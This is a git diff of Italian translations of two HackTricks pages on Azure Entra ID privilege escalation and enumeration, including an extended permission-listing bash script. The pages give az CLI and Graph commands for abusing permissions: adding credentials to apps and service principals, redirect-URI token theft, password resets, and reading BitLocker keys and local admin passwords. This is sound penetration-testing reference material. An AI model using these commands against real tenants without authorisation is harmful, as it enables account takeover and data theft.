diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 02476925b..804805cfe 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> Nota che **non tutti i permessi granulari** che i ruoli predefiniti hanno in Entra ID **sono eleggibili per essere usati nei ruoli personalizzati.**
+> Nota che **non tutte le autorizzazioni granulari** che i ruoli integrati hanno in Entra ID **sono eleggibili per essere utilizzate nei ruoli personalizzati.**
## Ruoli
### Ruolo: Privileged Role Administrator
-Questo ruolo contiene i permessi granulari necessari per poter assegnare ruoli a principals e per concedere più permessi ai ruoli. Entrambe le azioni possono essere abusate per escalation dei privilegi.
+Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principals e per concedere ulteriori permessi ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.
- Assegnare un ruolo a un utente:
```bash
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
-Questo permette a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere tali privilegi.
+Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione dispone di permessi privilegiati, l'attaccante può autenticarsi come tale applicazione e ottenere tali privilegi.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
@@ -61,7 +61,7 @@ az ad app credential reset --id --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
-Questo consente le stesse azioni di `applications/credentials/update`, ma è limitato alle applicazioni di una singola directory.
+Ciò consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni di una singola directory.
```bash
az ad app credential reset --id --append
```
@@ -77,9 +77,9 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-Un attacker può aggiungere un redirect URI alle applications che sono utilizzate dagli users del tenant e poi condividere con loro login URLs che usano il nuovo redirect URI per rubare i loro tokens. Nota che se lo user era già logged in nell'application, l'autentication avverrà automaticamente senza che lo user debba accettare nulla.
+Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che usano il nuovo URI di reindirizzamento per rubare i loro token. Nota che se l'utente era già autenticato nell'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla.
-Nota che è anche possibile cambiare le permissions che l'application richiede per ottenere più permissions, ma in questo caso lo user dovrà accettare di nuovo il prompt che richiede tutte le permissions.
+Nota che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più privilegi; in questo caso l'utente dovrà accettare nuovamente il prompt che richiede tutte le autorizzazioni.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,11 +88,11 @@ az ad app update --id --web-redirect-uris "https://original.com/callbac
```
### Applications Privilege Escalation
-**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate loro. Un API Permission (come chiamato nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API e eseguire azioni senza un contesto utente (senza un user login nell'app), e senza che siano necessari ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **high privileged applications in every Entra ID tenant**.
+**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un API Permission (come chiamato nella Entra ID console) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un utente che effettua il login nell'app), e senza bisogno dei ruoli Entra ID per permetterlo. Di conseguenza, è molto comune trovare **applicazioni con privilegi elevati in ogni Entra ID tenant**.
-Quindi, se un attaccante ha qualsiasi permission/role che permette di **update the credentials (segreto o certificato) of the application**, l'attaccante può generare una nuova credential e poi usarla per **authenticate as the application**, ottenendo tutti i permessi che l'applicazione possiede.
+Quindi, se un attaccante ha qualsiasi permesso/ruolo che gli permette di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, ottenendo tutti i permessi che l'applicazione possiede.
-Nota che il blog menzionato condivide alcune **API permissions** di comuni Microsoft default applications; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile fare login come Microsoft applications. Rimane comunque possibile trovare **custom applications with high privileges that could be abused**.
+Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft predefinite; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile effettuare il login come applicazioni Microsoft. Rimane comunque possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**.
How to enumerate the API permissions of an application:
```bash
@@ -125,7 +125,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli)
+Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietà Microsoft
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -147,6 +147,32 @@ done
return 1
}
+get_permission_value() {
+local resource_app_id="$1"
+local perm_type="$2"
+local perm_id="$3"
+local key value
+key="${resource_app_id}|${perm_type}|${perm_id}"
+
+value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
+if [ -n "$value" ]; then
+printf '%s\n' "$value"
+return 0
+fi
+
+if [ "$perm_type" = "Scope" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+elif [ "$perm_type" = "Role" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+else
+value=""
+fi
+
+[ -n "$value" ] || value="UNKNOWN"
+printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
+printf '%s\n' "$value"
+}
+
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -155,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
-trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+tmp_perm_cache="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -169,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
-echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
-# Print only app permissions where the target API is NOT Microsoft-owned.
+# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -186,14 +213,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
-continue
+is_ms="true"
+else
+is_ms="false"
fi
+permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
-echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
+perm_label="${perm_type}:${perm_value}"
+if [ -z "$permissions_csv" ]; then
+permissions_csv="$perm_label"
+else
+permissions_csv="${permissions_csv},${perm_label}"
+fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
+
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -203,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
-Questo permette a un attacker di aggiungere credenziali a service principals esistenti. Se il service principal ha elevated privileges, l'attacker può assumere tali privileges.
+Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere persistenza su un service principal.\
-> Dall'API possono essere trovati con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
+> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo furtivo per mantenere persistenza su un service principal.\
+> Dall'API possono essere trovate con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** del service principal e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti permette di eseguire:
+Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo è necessaria un'autorizzazione (`microsoft.directory/applications/allProperties/update`) che consente di eseguire:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
-Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
+Questo permette a un attaccante di aggiungere credenziali ai service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
```bash
az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-Simile alle applications, questa permission permette di aggiungere altri owners a un service principal. Possedere un service principal permette di controllare le sue credentials e permissions.
+Analogamente alle applications, questo permesso consente di aggiungere altri owners a un service principal. Possedere un service principal permette il controllo sulle sue credentials e permissions.
```bash
# Add new owner
spId=""
@@ -243,11 +281,11 @@ az ad sp owner list --id
> [!CAUTION]
> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**.
-### `microsoft.directory/servicePrincipals/disable` and `enable`
+### `microsoft.directory/servicePrincipals/disable` e `enable`
-Questi permessi consentono di disabilitare e abilitare i service principals. Un attaccante potrebbe usare questo permesso per abilitare un service principal a cui riesce ad accedere in qualche modo per escalate privileges.
+Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad ottenere l'accesso in qualche modo, per escalate privileges.
-Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori permessi per poter prendere il controllo del service principal abilitato.
+Nota che per questa tecnica l'attacker avrà bisogno di permessi aggiuntivi per poter take over il service principal abilitato.
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -257,7 +295,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe permettere l'accesso ad applicazioni di terze parti.
+Queste autorizzazioni permettono di creare e ottenere credenziali per single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti.
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -283,7 +321,7 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
-Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, causando un'escalation dei privilegi.
+Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
```bash
az ad group member add --group --member-id
```
@@ -291,22 +329,22 @@ az ad group member add --group --member-id
### `microsoft.directory/groups/owners/update`
-Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare i membri e le impostazioni del gruppo, potenzialmente elevando i privilegi tramite il gruppo.
+Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente permettendo l'elevazione dei privilegi tramite il gruppo.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
```
-**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
+**Nota**: Questa autorizzazione esclude i role-assignable groups di Entra ID.
### `microsoft.directory/groups/members/update`
-Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, il che può concedere privilegi elevati.
+Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o malicious accounts a privileged groups per ottenere accesso elevato.
```bash
az ad group member add --group --member-id
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
-Questa autorizzazione consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includersi in gruppi privilegiati senza un'aggiunta esplicita.
+Questa autorizzazione consente di aggiornare la membership rule di un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita.
```bash
groupId=""
az rest --method PATCH \
@@ -317,11 +355,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
-**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
+**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
### Dynamic Groups Privesc
-Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di dynamic groups. Per maggiori informazioni consulta:
+Potrebbe essere possibile per gli utenti aumentare i propri privilegi modificando le proprie proprietà per essere aggiunti come membri dei dynamic groups. Per maggiori informazioni consulta:
{{#ref}}
dynamic-groups.md
@@ -331,13 +369,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
-Questa autorizzazione permette di reimpostare la password di utenti non amministratori, consentendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questa autorizzazione non può essere assegnata ai ruoli personalizzati.
+Questa autorizzazione consente di reimpostare la password degli utenti non amministratori, permettendo a un potenziale attaccante di aumentare i privilegi sugli altri utenti. Questa autorizzazione non può essere assegnata a ruoli personalizzati.
```bash
az ad user update --id --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
-Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; pertanto questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di uno specifico dynamic group e escalate privileges.
+Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà; di conseguenza, questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di un gruppo dinamico specifico e elevare i privilegi.
```bash
#e.g. change manager of a user
victimUser=""
@@ -353,9 +391,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
-## Policy di Accesso Condizionale & bypass MFA
+## Criteri di accesso condizionale & MFA bypass
-Policy di accesso condizionale mal configurate che richiedono MFA potrebbero essere bypassate, controlla:
+Criteri di accesso condizionale mal configurati che richiedono MFA potrebbero essere bypassati, controlla:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -365,7 +403,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
-Questo permesso consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo.
+Questa autorizzazione permette agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso alle impostazioni e ai dati specifici del dispositivo.
```bash
deviceId=""
userId=""
@@ -376,7 +414,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-Questa autorizzazione consente agli attaccanti di associare il proprio account ai dispositivi per ottenere l'accesso o eludere le politiche di sicurezza.
+Questa autorizzazione consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o eludere le politiche di sicurezza.
```bash
deviceId=""
userId=""
@@ -387,7 +425,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-Questa autorizzazione permette agli attaccanti di leggere le proprietà delle credenziali di backup dell'account amministratore locale per i dispositivi uniti a Microsoft Entra, inclusa la password
+Questa autorizzazione consente agli attackers di leggere le proprietà delle credenziali dell'account amministratore locale salvate per i dispositivi uniti a Microsoft Entra, inclusa la password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -402,7 +440,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
-Questa autorizzazione consente l'accesso alle BitLocker keys, il che potrebbe permettere a un attaccante di decrittare le unità, compromettendo la riservatezza dei dati.
+Questa autorizzazione consente l'accesso alle chiavi di BitLocker, il che potrebbe permettere a un attaccante di decrittare i dischi, compromettendo la riservatezza dei dati.
```bash
# List recovery keys
az rest --method GET \
@@ -413,7 +451,7 @@ recoveryKeyId=""
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
-## Altre autorizzazioni interessanti (TODO)
+## Altre permissions interessanti (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index 7f89fdb0c..e83781f78 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di base
-Azure Active Directory (Azure AD) è il servizio basato sul cloud di Microsoft per la gestione delle identità e degli accessi. È fondamentale per permettere ai dipendenti di effettuare il sign-in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, il portale di Azure e molte altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura dei servizi di identità essenziali, in particolare autenticazione, autorizzazione e gestione degli utenti.
+Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per la gestione delle identità e degli accessi. Consente agli utenti di effettuare il sign in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, includendo Microsoft 365, the Azure portal e numerose altre applicazioni SaaS. Azure AD è progettato per fornire servizi di identità essenziali, in particolare **authentication, authorization e user management**.
-Le funzionalità chiave di Azure AD includono autenticazione multi-fattore e accesso condizionale, oltre a un'integrazione senza soluzione di continuità con altri servizi di sicurezza Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare ed applicare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata sul cloud delle identità degli utenti.
+Tra le funzionalità principali di Azure AD ci sono **multi-factor authentication** e **conditional access**, oltre a un'integrazione fluida con altri servizi di sicurezza Microsoft. Queste funzionalità migliorano significativamente la sicurezza delle identità utente e permettono alle organizzazioni di implementare e far rispettare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è centrale per la gestione cloud delle identità utente.
-## Enumeration
+## Enumerazione
-### **Connection**
+### **Connessione**
{{#tabs }}
{{#tab name="az cli" }}
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-Quando effettui il **login** via **CLI** in Azure con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Applications, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **allowed applications lists** che puoi vedere nella console, **ma sono consentite di default**.
+Quando effettui il **login** via **CLI** in **Azure** con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Application, come quelle che puoi creare nel tuo account, **hanno un client id**. Non **potrai vederle tutte** nelle **liste delle applicazioni autorizzate** visibili nella console, **ma sono consentite di default**.
-Per esempio uno **powershell script** che **authenticates** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, uno **sysadmin** potrebbe **bloccare quell'applicazione** così gli utenti non possono accedere usando tool che si connettono tramite quell'App.
+Per esempio uno **powershell script** che si **autentica** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non compare nella console, un sysadmin potrebbe **bloccare quell'application** così gli utenti non possono accedere usando tool che si connettono tramite quell'App.
-Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti ad Azure**:
+Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti a Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -227,7 +227,7 @@ az account tenant list
### Utenti
-Per maggiori informazioni sugli utenti Entra ID consulta:
+Per maggiori informazioni sugli utenti di Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -358,7 +358,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtab }}
{{#endtabs }}
-#### Cambia la password dell'utente
+#### Cambia password utente
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
@@ -366,7 +366,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Conditional Access Policies
-È altamente consigliato abilitare MFA per ogni utente; tuttavia, alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente verrà **richiesto MFA se** effettua il login da una posizione specifica, browser o **in certe condizioni**. Queste policies, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
+Si raccomanda vivamente di aggiungere MFA a ogni utente; tuttavia alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente sarà **richiesto MFA se** effettua l'accesso da una posizione specifica, da un browser specifico o per **una determinata condizione**. Queste policy, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
### Gruppi
-Per maggiori informazioni sui gruppi Entra ID consulta:
+Per maggiori informazioni sugli Entra ID groups consulta:
{{#ref}}
../az-basic-information/
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl *
#### Aggiungi utente al gruppo
-I proprietari del gruppo possono aggiungere nuovi utenti al gruppo.
+I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
```bash
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
-> Consulta come abusare dei gruppi dinamici nella pagina seguente:
+> I gruppi possono essere dinamici, il che significa sostanzialmente che **se un utente soddisfa certe condizioni verrà aggiunto a un gruppo**. Ovviamente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
+> Controlla come abusare dei gruppi dinamici nella pagina seguente:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
### Service Principals
-Per maggiori informazioni sui Service Principals di Entra ID consulta:
+Per maggiori informazioni sui service principals di Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
-> Il proprietario di un Service Principal può cambiare la sua password.
+> L'Owner di un Service Principal può cambiare la sua password.
-Elenca e prova ad aggiungere un client secret per ogni Enterprise App
+Elenca e prova ad aggiungere un client secret in ogni Enterprise App
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -709,16 +709,17 @@ Write-Output "Failed to Enumerate the Applications."
### Applicazioni
-Per maggiori informazioni sulle Applicazioni consulta:
+Per maggiori informazioni sulle Applicazioni, consulta:
{{#ref}}
../az-basic-information/
{{#endref}}
-Quando viene generata un'App vengono assegnati 2 tipi di autorizzazioni:
+Quando viene generata un'App vengono assegnati 3 tipi di permessi:
-- **Autorizzazioni** assegnate al **Service Principal**
-- **Autorizzazioni** che l'**app** può avere e usare per **conto dell'utente**.
+- **Permessi** dati al **Service Principal** (via ruoli).
+- **Permessi** che l'**app** può avere e usare per conto dell'**utente**.
+- **API Permissions** che danno all'**app** permessi su EntraID senza richiedere che altri ruoli concedano questi permessi.
{{#tabs }}
{{#tab name="az cli" }}
@@ -772,7 +773,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli)
+Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietà di Microsoft (az cli)
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -794,6 +795,32 @@ done
return 1
}
+get_permission_value() {
+local resource_app_id="$1"
+local perm_type="$2"
+local perm_id="$3"
+local key value
+key="${resource_app_id}|${perm_type}|${perm_id}"
+
+value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
+if [ -n "$value" ]; then
+printf '%s\n' "$value"
+return 0
+fi
+
+if [ "$perm_type" = "Scope" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+elif [ "$perm_type" = "Role" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+else
+value=""
+fi
+
+[ -n "$value" ] || value="UNKNOWN"
+printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
+printf '%s\n' "$value"
+}
+
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
-trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+tmp_perm_cache="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
-echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
-# Print only app permissions where the target API is NOT Microsoft-owned.
+# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
-continue
+is_ms="true"
+else
+is_ms="false"
fi
+permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
-echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
+perm_label="${perm_type}:${perm_value}"
+if [ -z "$permissions_csv" ]; then
+permissions_csv="$perm_label"
+else
+permissions_csv="${permissions_csv},${perm_label}"
+fi
